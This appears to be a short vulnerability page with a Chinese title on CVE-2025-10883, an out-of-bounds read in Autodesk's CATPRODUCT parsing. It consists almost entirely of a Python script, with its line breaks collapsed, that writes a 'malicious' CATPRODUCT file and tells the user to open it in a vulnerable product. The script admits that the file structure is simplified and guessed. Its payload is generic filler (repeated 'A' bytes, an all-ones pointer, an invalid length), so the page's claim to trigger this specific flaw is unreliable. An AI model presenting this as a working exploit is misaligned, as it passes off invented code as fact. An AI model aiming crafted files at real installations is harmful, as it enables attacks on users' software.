CVE-2025-10883: Autodesk产品CATPRODUCT文件越界读取漏洞

#!/usr/bin/env python3 # CVE-2025-10883 PoC - Malicious CATPRODUCT File Generator # Note: This is a conceptual PoC for educational and security research purposes import struct import os def create_malicious_catproduct(): """ Generate a malicious CATPRODUCT file that triggers OOB read vulnerability The actual file format is proprietary Autodesk format """ # CATPRODUCT file header (simplified structure) header = b'CATProduct' # File signature # Version info version = b'V5' # Example version # Malicious crafted data to trigger OOB read # This would contain oversized/malformed data structures malicious_data = b'A' * 10000 # Buffer overflow data # Crafted object references that point beyond buffer boundaries crafted_references = struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) # Out-of-bounds pointer # Malformed length fields length_field = struct.pack('<I', 0x7FFFFFFF) # Invalid length # Construct the malicious file poc_file = bytearray() poc_file.extend(header) poc_file.extend(version) poc_file.extend(length_field) poc_file.extend(malicious_data) poc_file.extend(crafted_references) return bytes(poc_file) def main(): print("[*] CVE-2025-10883 PoC Generator") print("[*] Target: Autodesk Products - CATPRODUCT File Parsing OOB Read") # Generate the malicious file poc_data = create_malicious_catproduct() # Write to file output_file = "CVE-2025-10883_malicious.CATPRODUCT" with open(output_file, 'wb') as f: f.write(poc_data) print(f"[+] PoC file created: {output_file}") print(f"[+] File size: {len(poc_data)} bytes") print("\n[!] Usage: Open this file with vulnerable Autodesk product") print("[!] Expected result: Process crash or information disclosure") if __name__ == "__main__": main()